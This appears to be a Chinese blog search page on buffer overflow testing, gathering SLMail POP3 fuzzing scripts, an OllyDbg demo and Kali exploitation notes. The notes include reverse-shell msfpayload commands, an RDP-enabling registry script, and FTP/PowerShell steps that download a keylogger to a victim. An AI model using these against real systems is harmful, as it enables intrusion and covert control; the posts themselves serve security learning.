精华内容
下载资源
问答
  • 缓冲区溢出测试

    2012-01-09 19:33:31
    缓冲区溢出测试的应用 用C++实现了一定程度的缓冲区攻击
  • war-ftp1.65缓冲区溢出测试实验
  • 想用来测试 strcpy函数缓冲区溢出攻击的,但VS立即弹出了栈溢出。而且我VS写的程序 拖到虚拟机XP上 直接弹出无效win32程序。不知道该怎么做这个缓冲区攻击实验? 《挖0day》书上是用vc++6.0写的 求各位大神指点迷津~...
  • KALI渗透测试缓冲区溢出篇章,详细介绍kali的缓冲区溢出工具使用。
  • Delphi测试缓冲区溢出 堆栈溢出,本程序用于堆栈溢出测试,超出6个字符的话则溢出。作者:曾繁威 于重庆学习作。输入“aaaaaaaaaaL$E”,可以溢出执行“溢出执行”按钮的代码。
  • OllyDbg测试缓冲区溢出

    2019-08-08 21:36:01
    OllyDbg测试缓冲区溢出 首先要知道什么是缓冲区,缓冲区,简单说来是一块连续的计算机内存区域, 可以保存相同数据类型的多个实例。 你一定用strcpy拷贝过字符串吧?那,如果拷贝时目的字符串的缓冲区的长度小于源字符...

    OllyDbg测试缓冲区溢出

    首先要知道什么是缓冲区,缓冲区,简单说来是一块连续的计算机内存区域, 可以保存相同数据类型的多个实例。

    你一定用strcpy拷贝过字符串吧?那,如果拷贝时目的字符串的缓冲区的长度小于源字符串的长度,会发生什么呢?对,源字符串中多余的字符会覆盖掉进程的其它数据。这种现象就叫缓冲区溢出。根据被覆盖数据的位置的不同,缓冲区溢出分为静态存储区溢出、栈溢出和堆溢出三种。而发生溢出后,进程可能的表现也有三种:一是运行正常,这时,被覆盖的是无用数据,并且没有发生访问违例;二是运行出错,包括输出错误和非法操作等;第三种就是受到攻击,程序开始执行有害代码,此时,哪些数据被覆盖和用什么数据来覆盖都是攻击者精心设计的。一般情况下,静态存储区和堆上的缓冲区溢出漏洞不大可能被攻击者利用,而栈上的漏洞则具有极大的危险性。

    缓冲区溢出是指当计算机程序向缓冲区内填充的数据位数超过了缓冲区本身的容量。溢出的数据覆盖在合法数据上。理想情况是,程序检查数据长度并且不允许输入超过缓冲区长度的字符串。但是绝大多数程序都会假设数据长度总是与所分配的存储空间相匹配,这就为缓冲区溢出埋下隐患。操作系统所使用的缓冲区又被称为堆栈,在各个操作进程之间,指令被临时存储在堆栈当中,堆栈也会出现缓冲区溢出。

    标准C语言具有许多复制和添加字符串的函数,这使得标准C语言很难进行边界检查。C++略微好一些,但是仍然存在缓冲区溢出。一般情况下,覆盖其他数据区的数据是没有意义的,最多造成应用程序错误,但是,如果输入的数据是经过“黑客”或者病毒精心设计的,覆盖缓冲区的数据恰恰是“黑客”或者病毒的入侵程序代码,一旦多余字节被编译执行,“黑客”或者病毒就有可能为所欲为,获取系统的控制权。

    以下是缓冲区溢出实验

    首先我们用dev-C++编译如下C语言程序 分析这个程序我们把10个“a”保存在bigbuff中 但是我们只分配5bit去存放 由于C语言具有许多复制和添加字符串的函数(如以下的strcpy函数),这使得标准C语言很难进行边界检查,因此造成了缓冲区溢出。

    我们将编译好的overflow.exe可执行程序拖入虚拟机中 用OllyDbg打开,如下图所示,OllDbg的左上部分是反汇编编辑窗口,右上部分是寄存器窗口,左下部分是数据区窗口,右下部分是堆栈窗口。

    我们使用F4运行到选定的位置

    然后单步调试 到strcpy()执行完 这样就造成了一次缓冲区溢出

     

    缓冲区溢出攻击的防范措施

    了解攻击原理是为了能更好的进行防御,最后简要的说明一下如何防范这类攻击的发生。

    (1)关闭不需要的特权程序。

    (2)及时给系统和服务程序漏洞打补丁。

    (3)强制写正确的代码。

    (4)通过操作系统使得缓冲区不可执行,从而阻止攻击者植入攻击代码。

    (5)利用编译器的边界检查来实现缓冲区的保护,这个方法使得缓冲区溢出不可能出现,从而完全消除了缓冲区溢出的威胁,但是代价比较大。

    (6)在程序指针失效前进行完整性检查。

    (7)改进系统内部安全机制。

     

    展开全文
  • Kali Linux渗透测试——缓冲区溢出

    千次阅读 2020-02-09 22:18:44
    Kali Linux渗透测试——缓冲区溢出 笔记内容参考安全牛Kali Linux渗透测试视频教程,仅供个人学习记录使用。 所有漏洞的根源均来自于数据的输入,缓冲区溢出的原理在于数据与代码边界模糊,当缓冲区边界限制不...

    笔记内容参考安全牛课堂苑房弘老师的Kali Linux渗透测试教程

    所有漏洞的根源均来自于数据的输入,缓冲区溢出的原理在于数据与代码边界模糊,当缓冲区边界限制不严格时,由于变量传入畸形数据或程序运行错误,导致缓冲区被“撑暴”,从而覆盖了相邻内存区域的数据,成功修改内存数据,可造成进程劫持,执行恶意代码,获取服务器控制权等后果。

    为更好理解缓冲区溢出原理,参考笔者转载的文章:
    手把手教你栈溢出从入门到放弃(上)
    手把手教你栈溢出从入门到放弃(下)

    一、发现漏洞的方法

    (一)源码审计

    软件开发人员,或者利用社工等方式获取源码进行审查、调试。条件苛刻,一般源码难以获取。

    (二)逆向工程(Reverse Engineering)

    利用逆向工程获取汇编源码进行分析,汇编代码分析工作量大,难度高。

    (三)模糊测试(Fuzzing)

    是一种通过向目标系统提供非预期的输入并监视异常结果来发现软件漏洞的方法,通常情况下会使用一个有效的输入和添加随机误差来完成,需要借助软件调试工具(如:ImmunityDebugger)。

    二、模糊测试过程

    首先要了解一些针对缓冲区溢出的安全保护技术,因为在模糊测试过程中要绕开这些保护机制。

    • DEP (Data Execution Prevention): 阻止数据页(默认的堆,栈以及内存池页)执行代码。在Linux中该机制为NX(No-eXecute)
    • ASLR (Address Space Layout Randomization): 堆、栈、共享库映射等线性区布局的随机化,增加攻击者预测目的地址的难度
    • 堆栈cookies:启用堆栈cookies机制后,函数执行时会先往栈里插入cookies,该cookies往往放置在ebp/rbp的上方,当函数返回的时候会验证cookie信息,如果不合法就停止程序运行,使得攻击者在覆盖返回地址的时候将cookie信息给覆盖掉,导致栈保护检查失败而阻止shellcode的执行。在Linux中将堆栈cookies机制称为canary

    (一)Windows

    测试软件为’SLMail 5.5.0 Mail Server’,其PASS命令存在缓冲区溢出漏洞。基本思路:(调试工具用ImmunityDebugger)
    1.利用python脚本测试 PASS 命令接收到大量数据时是否会溢出,一般到3000个字符仍未出现溢出现象则说明该处应该不存在溢出漏洞。

    2.发现溢出漏洞后,判断EIP对应的地址,基本方法有:二分法、唯一字符串法。唯一字符串法可以利用metasploit脚本usr/share/metasploit-framework/tools/pattern_create.rb 3000生成。

    3.将EIP修改为Shellcode对应的内存地址,将Shellcode写入到该地址空间,程序读取EIP寄存器数值,将跳转到 shellcode 代码段并执行。

    4.通过调试工具发现,发送的数据填充EIP后,紧接着会填充ESP指向的空间,因此我们将Shellcode放到ESP的位置。

    5.判断ESP地址到栈底的距离,即可以存放Shellcode的大小。利用python脚本向软件发送数据测试,通过调试软件看有多少数据存放在ESP指向的空间。现代计算机系统进程的内存空间视图如图所示:
    进程的内存空间视图

    图1 进程的内存空间视图

    6.因为ASLR机制,软件每次运行函数调用栈的地址是随机变化的,因此硬编码不可行,变通思路在内存中寻找地址固定的系统模块,在模块中寻找JMP ESP指令的地址跳转,再由该指令间接跳转到 ESP,从而执行shellcode,利用mona.py脚本识别内存模块,搜索“return address”是JMP ESP指令的模块,寻找不受DEP、ASLR机制保护的系统模块 !mona modules,利用/usr/share/metasploit-framework/tools/nasm_shell.rb将汇编指令 jmp esp 转换为二进制为FFE4,在模块中搜索 FFE4 指令!mona find -s “\xff\xe4” -m slmfc.dll,找到指令所在地址后,将该地址填入EIP,构造Shellcode,且除去坏字符:/msfpayload win32_reverse LHOST=192.168.20.8 LPORT=443 R | ./msfencode -b “\x00\x0a\x0d

    注:构造Shellcode时选择的payload是reverse反向连接,而不是直连bind,这样可以避开防火墙的封堵策略。

    7.最后开启端口监听nc -vlp 443,Shellcode执行结束后以 ExitProcess方式退出整个进程,将导致邮件服务崩溃,Slmail是一个基于线程的应用,适用ExitThread方式可以避免整个服务崩溃,可实现重复溢出:/msfpayload win32_reverse LHOST=192.168.20.8 EXITFUNC=thread LPORT=443 R | ./msfencode -b “\x00\x0a\x0d”

    注:不同类型的程序、协议、漏洞,会将某些字符认为是坏字符,这些字符有固定用途,因此返回地址、 Shellcode、 buffer中都不能出现坏字符。发送0x00—0xff 256个字符,查找所有坏字符。利用metasploit脚本./msfencode可以编码坏字符。

    8.如果要进一步控制攻击目标,可以通过修改注册表开启远程桌面,Windows中90%以上的配置都可以通过修改注册表完成:

    echo Windows Registry Editor Version 5.00>3389.reg
    echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal
    Server]>>3389.reg
    echo "fDenyTSConnections"=dword:00000000>>3389.reg
    echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal
    Server\Wds\rdpwd\Tds\tcp]>>3389.reg
    echo "PortNumber"=dword:00000d3d>>3389.reg
    echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal
    Server\WinStations\RDP-Tcp]>>3389.reg
    echo "PortNumber"=dword:00000d3d>>3389.reg
    regedit /s 3389.reg
    

    (二)Linux

    测试软件为’Crossfire’,1.9.0在接受入站socket连接时存在缓存区溢出漏洞。基本思路同Windows Fuzzing(调试工具用edb) ,不再赘述,需注意以下几点:
    1.调试命令:edb --run /usr/games/crossfire/bin/crossfire
    2.在验证缓冲区溢出时发现只有当payload固定4368字节时才能准确覆盖EIP的值,这样ESP指向的空间只剩下7个字节,不足以放下Shellcode,因此在edb中查找可以被数据完全覆盖的寄存器,找到EAX,于是变通思路ESP跳转到EAX执行Shellcode。

    三、选择和修改EXP

    网上有针对各种软件已经公布漏洞的利用代码(EXP),我们可以选择可信赖的EXP源,在此基础上进行研究或修改,尤其是Shellcode不能轻易使用,有可能带有病毒,需要掌握的编程语言通常包括Python、C、C++、Ruby等。几个可靠的EXP源:

    • Exploit-db,Kali官方维护的漏洞利用代码,在Kali中可以使用命令searchsploit 目标软件来查找EXP代码。
    • SecurityFocus网站
    • Metasploit

    拿到EXP后,需要注意以下几点:

    • 程序的编译、运行环境
    • EXP的返回地址与我们的环境不符
    • 反弹shell硬编码了回连IP地址
    • 缓冲区偏移量与我们的环境不符
    • 目标IP硬编码
    • 要熟悉EXP功能,避免下载木马

    四、后漏洞利用阶段

    包括上传工具、提权、擦除攻击痕迹、安装后门等进一步操作,这里仅讨论文件上传操作,文件上传是预置木马、安装后门的基础,主要根据已经取得的目标操作系统的shell,进行文件上传操作。

    (一)Windows

    首先需要了解,用nc侦听端口取得的shell是非交互shell,这样在一些需要交互的环境操作受限,比如tab无法自动补全、一些参数无法交互输入等,所以需要上传其他的远控程序,如灰鸽子。这里主要讨论如何上传这些远控程序:

    1.Linux端: 配置ftp服务

    登录FTP有三种方式:

    • 匿名登录:在登录FTP时使用默认的用户名,一般是ftp或anonymous。
    • 本地用户登录:使用系统用户登录,即/etc/passwd中的用户。
    • 虚拟用户登录:这是FTP专有用户,每一个虚拟用户都会映射一个系统用户,使用虚拟用户登录FTP,只能访问FTP服务器提供的资源,大大增强了系统的安全。
    apt-get install vsftpd       #Linux中ftp服务有很多,这里使用vsftpd
    vim /etc/vsftpd/vsftpd.conf  #配置vsftpd服务,这里采用系统用户登录的方式
    
    #添加配置
    local_root=/home/ftpduser/   #系统用户登录后的主目录
    #可以设置用户独立配置文件保存目录:user_config_dir=/etc/vsftpd/ftpduser_config/ 
    #对特定的用户ftpuser1可以单独进行配置,方法是在user_config_dir指定的目录下建立ftpuser1文件(和用户名相同的文件),然后在其中写上配置内容
    
    chroot_local_user=YES     #该值为YES时,所有用户只能限制在其主目录下访问
    chroot_list_enable=NO    #该值为YES时,其中的用户即为与chroot_list_file中相例外的用户;为NO时,没有例外的用户。
    chroot_list_file=/etc/vsftpd.chroot_list  
    #如chroot_local_user=NO,chroot_list_enable=YES,此时所有用户都可以访问任何目录,而chroot_list_file中的用户只能访问其主目录
    
    userlist_deny=NO   #该值为YES时,/etc/vsftpd/user_list文件中指定的用户不能访问FTP服务器;值为NO时,则仅允许指定的用户访问FTP服务器
    userlist_enable=YES  #/etc/vsftpd/user_list文件有效
    echo ftpduser1 >> /etc/vsftpd/user_list  #这个文件禁止或允许使用vsftpd的用户列表文件
    #!!注意user_list文件中的用户列表和ftpusers不同,ftpusers不受任何配制项的影响,它是一个黑名单,总是有效
    
    mkdir /home/ftpduser
    useradd -d /home/ftpduser/ftpuser1 -s /sbin/nologin ftpduser1
    service vsftpd start
    

    2.Windows端: 由于系统缺少预装的下载工具,所以需要自行配置
    (1)使用ftp传输文件
    因为非交互shell无法登陆ftp服务,所以编写ftp配置脚本。

    echo open 192.168.1.2 21>ftp.txt
    echo ftpduser1>>ftp.txt
    echo passw0rd>>ftp.txt
    echo bin>>ftp.txt
    echo GET whoami.exe>>ftp.txt
    echo GET klogger.exe>>ftp.txt
    echo bye>>ftp.txt
    
    ftp -s:ftp.txt
    

    (2)使用powershell传输文件

    echo $storageDir = $pwd
    $webclient = New-Object System.Net.WebClient
    $url = "http://192.168.1.2/whoami.exe"
    $file = "new-exploit.exe"
    $webclient.DownloadFile($url.$file)
    
    powershell.exe -ExecutionPolicy Bypass -Nologo -NonInteractive -Noprofile -File wget.ps1
    

    (二)Linux

    利用netcat、curl、wget等系统自带的工具上传文件,比较容易实现,不再赘述。

    注意:上传的文件要避免被目标系统杀毒软件清除,尽量使用合法的远程控制软件,如nc。

    展开全文
  • SLMail缓冲区溢出攻击模糊测试过程

    千次阅读 2018-07-01 19:35:54
    缓冲区溢出原理: http://www.cnblogs.com/fanzhidongyzby/archive/2013/08/10/3250405.html 需要工具下载地址: https://pan.baidu.com/s/1OoOQ5GoYZ4lxNsapJVPuhA 一、准备 环境:Windows xp【系统缓冲区溢出...

    作者:MISS WU

    缓冲区溢出原理:
    http://www.cnblogs.com/fanzhidongyzby/archive/2013/08/10/3250405.html
    需要工具下载地址:
    https://pan.baidu.com/s/1OoOQ5GoYZ4lxNsapJVPuhA
    一、准备
    环境:Windows xp【系统缓冲区溢出,多是其服务】
    靶机:winXP【不建议win7、win8,因为XP系统没有安全防护机制】
    目标程序:SLMail 5.5.0 Mail Server(邮件服务器)【POP3 PASS命令存在缓冲区溢出漏洞,无需身份验证实现远程代码执行。】
    动态调试工具:ImmunityDebugger
    脚本:mona.py【用于定位进程模块,移动仅Debug的Pycommend文件中】
    操作机:kali2.0

    注:绕过防火墙或关闭防火墙
    首先确保pop3服务已经启动,关闭xp的防火墙,或增加pop3 110端口和SMTP 25 端口
    这里写图片描述
    这里写图片描述

    然后打开ImmunityDebugger,点击attach
    打开我们的SLMail服务,右键attach

    这里写图片描述
    这里写图片描述

    二、测试哪个命令会出现缓冲区溢出
    1.测试端口

    这里写图片描述
    这里写图片描述

    利用原理:“PASS”命令后,当一些特殊定制的命令输入,会造成缓冲区溢出,上传shellcode,可控制目标系统,则不需要经过身份验证,获得权限。

    1. POP3模糊测试
      首先要在我们的ImmunityDebugger下点击红色的运行按钮,让我们的slmail跑起来。

    01.py【基本功能实现】

    01.py【基本功能实现】
    
    #!/usr/bin/python
    
    import socket
    s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    
    try:
    print "\nSending evil buffer..."
    s.connect(("192.168.1.126",110))
    data = s.recv(1024) ###将110端口返回的数据显示在屏幕中
    print data
    
    s.send("USER Xuan"+"\r\n")
    data = s.recv(1024)
    print data
    
    s.send("PASS test\r\n")
    data = s.recv(1024)
    print data
    
    s.close()
    print "\nDone"
    
    except:
    print "Could not connect to POP3!"

    这里写图片描述

    02.py【不断增大发送量,通过Debug确定是否会溢出】
    
    #!/usr/bin/python
    
    import socket
    
    buffer=["A"]
    counter=100
    while len(buffer) <= 50:
    buffer.append("A"*counter)
    counter=counter+200
    
    for string in buffer:
    print "Fuzzing PASS with %s bytes" % len(string)
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    connect = s.connect(("192.168.1.126",110))
    s.recv(1024)
    s.send("USER test"+"\r\n")
    s.recv(1024)
    s.send("PASS "+string+"\r\n")
    s.send("QUIT\r\n")
    s.close()

    这里写图片描述

    当输入的PASS字符为2700的时候,程序不会运行下去了,在xp下的slmail崩溃了

    这里写图片描述
    这里写图片描述

    ESP:当ESP中输入数据过多,将会把EIP的内存地址覆盖
    EIP:下一跳指令的内存地址,若下一跳指令被修改,则可执行某一地址空间,运行shellcode
    注:模糊测试过程需不断将服务重启,过程比较繁琐
    分析:
    我们发现,EIP寄存器内充满了4141,而41,其实就是我们A的ASCII码,我们可以推测出,当我们发送的字符串为2700个A的时候,缓冲区发生了溢出,这里先解释一下eip寄存器,EIP寄存器存放该进程的下一步要执行指令的地址,在这里我们就可以利用EIP寄存器,存放我们想要执行的shellcode的地址,这样就可以达到控制该系统的目的。那么问题来了,EIP寄存器内的A到底是2700个字符串内的第几个A呢?因为只有当我们知道EIP寄存器内的A的位置,我们才可以将我们想令程序执行的地址精确的填入到该寄存器当中,这里我们可以用2分法来测字符的位置,比如先测2600,2600不对测2650。。。我们也可以用唯一字符串法,就是说我们发给pass的2700个字符串里四个为一组,这四个字符串唯一,这样我们也可以来确定位置,kali下也有现成的工具。
    这里需要大家注意一个问题:每次我们发送完我们的python脚本,slmail都会崩溃,所以我们需要重启我们的pop3服务。

    03.py【手动尝试,找到溢出范围】
    
    #!/usr/bin/python
    import socket
    
    s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    buffer = 'A' * 2600
    
    try:
    print "\nSending evil buffer..."
    s.connect(("192.168.1.126",110))
    data = s.recv(1024)
    s.send("USER test"+"\r\n")
    data = s.recv(1024)
    s.send("PASS "+buffer+"\r\n")
    print "\nDone!."
    except:
    print "Could not connect to POP3!"
    ~
    展开全文
  • MS08-067( Windows Server服务RPC请求缓冲区溢出漏洞)远程缓冲区溢出攻击测试
  • 内容索引:Delphi源码,系统相关,溢出 Delphi演示缓冲区溢出的代码,用于堆栈溢出测试,不能超出6个字符。
  • 缓冲区溢出

    2019-01-08 16:04:45
    包含完成的视屏教程和共享代码、测试环境,经测试可以运行。
  • 一个缓冲区溢出测试代码

    千次阅读 2018-04-03 01:37:47
    我的测试目标是在xp中运行的一个邮件服务slmail,这个邮件服务并没有防止缓冲区溢出机制,所以将其测试,具体如何使用这个服务自行百度。 # !usr/bin/python import socket buffer = ["A"] #建立一个首元素为A的...
    # !usr/bin/python
    import socket
    
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)        #socket默认使用的开头
    
    print("devil buffer start")
    s.connect(('192.168.56.129', 110))
    data = s.recv(1024)
    print data
    
    s.send('user admin'+'\r\n')
    data = s.recv(1024)
    print data
    
    s.send('pass test\r\n')
    data = s.recv(1024)
    print data
    
    s.close()
    print "\ndone!"                                        
    

           上面的代码,这是我的对192.168.56.129上的110端口进行了一次简单的脚本看是否能被服务器正常接收到我发送的数据,并且回来的包能否被我接受。#这是python2的版本


            下面的代码被我改进,进行了缓冲区溢出的测试。我的测试目标是在xp中运行的一个邮件服务slmail,这个邮件服务并没有防止缓冲区溢出机制,所以将其测试,具体如何使用这个服务自行百度。

    # !usr/bin/python
    import socket
    
    buffer = ["A"]        #建立一个首元素为A的列表
    counter = 100
    while len(buffer) <= 50:
        buffer.append("A" * counter)
        counter = counter + 200       #将列表进行扩充,每次加原先的A*200*n(n是循坏的次数)
    
    for string in buffer:
        print("fuzzing pass with %s bytes" % len(string))
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect(('192.168.56.129', 110))
        s.recv(1024)
    
    data = "user test \r\n" #这里面\r\n很重要, windows中\r\n代表换行,unix换行为\n,mac底下为\r,相当于回车
    s.send(data.encode()) #encode()在我的博客里有介绍,相关socket模块知识,请在本博客搜索 socket模块 s.recv(1024) data = "pass " s.send((data + string + "\r\n").encode()) s.send(b'QUIT\r\n')
    展开全文
  • 缓冲区溢出 缓冲区是内存的一个片段 当缓冲区边界不严格时,由于变量传入畸形数据或程序,导致缓冲区撑破,从而覆盖了相邻内存数据 可以修改内存数据,造成进程劫持,执行恶意代码,获取服务器控制权等后果 如何...
  • windows缓冲区溢出

    千次阅读 2018-07-10 11:08:40
    写的不好多加指教 准备环境: 攻机:Kali 2.0 靶机:windows xp ,windows2003不能做这...1. 测试是否发生缓冲区溢出 2. 找到缓冲区溢出的位置的临界点并验证 3. 查找系统中固定分配的模块中,哪里有jmp esp,为了后...
  • 安全测试缓冲区溢出(BO)

    千次阅读 2016-02-02 15:32:26
    一、缓冲区溢出的概念BO的概念很简单,就是你申请了一点内存,而你填入的数据超过了内容的大小,这样你填入的数据就会占用其他的内容,这种情况就是缓冲区溢出。void copy(char* info) { char buf[100]; strcpy(buf,...
  • kali缓冲区溢出笔记

    2019-11-01 16:07:00
    缓冲区溢出 当缓冲区边界限制不严格时,由于变量传入畸形数据或程序运行错误,导致缓冲区被”撑爆”,从而覆盖了相邻内存区域的数据; 成功修改内存数据,可造成进程劫持,执行恶意代码,获取服务器控制权等后果 ...
  • kali——缓冲区溢出

    千次阅读 2018-05-25 16:00:28
    缓冲区溢出 当缓冲区边界限制不严格时,由于变量传入畸形数据或程序运行错误,导致缓冲区被”撑爆”,从而覆盖了相邻内存区域的数据; 成功修改内存数据,可造成进程劫持,执行恶意代码,获取服务器控制权等后果 ...
  • 绿坝缓冲区溢出漏洞

    2019-10-07 07:30:15
    绿坝被发现有缓冲区溢出漏洞,这下安全软件不安全了 漏洞很弱智,字符串缓冲区溢出 下面有个测试代码 <input style="font-size:120%;" type="button" name="demo1" value="Crash Browser!" onclick=...
  • 缓冲区溢出静态检测模型,柯平,宫云战,为更准确的检测程序中可能出现的缓冲区溢出漏洞,本文从面向具体错误的测试思想出发,采用静态测试的方法,给出了缓冲区溢出的静
  • 原文地址:Overflow)">安全测试系列二:缓冲区溢出(Buffer Overflow)作者:克莱沃曼 说到安全问题就不得不提BO。BO是安全中最大,最重要的问题,也是最最经典的安全漏洞,它可以使黑客执行任意代码,从而引发EOP...
  • 为什么经过测试无法对copydata消息进行缓冲区溢出呢?windows是怎么对消息的内存指针是否越界进行检查的?
  • 静态和动态测试工具Java和堆栈保护可以提供帮助结束语参考资料在上一篇专栏文章中,描述了高水平的缓冲区溢出攻击,以及讨论了为什么缓冲区溢出是如此严重的安全性问题。本专栏文章的主题是,通过防御性编程保护代码...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 459
精华内容 183
关键字:

缓冲区溢出测试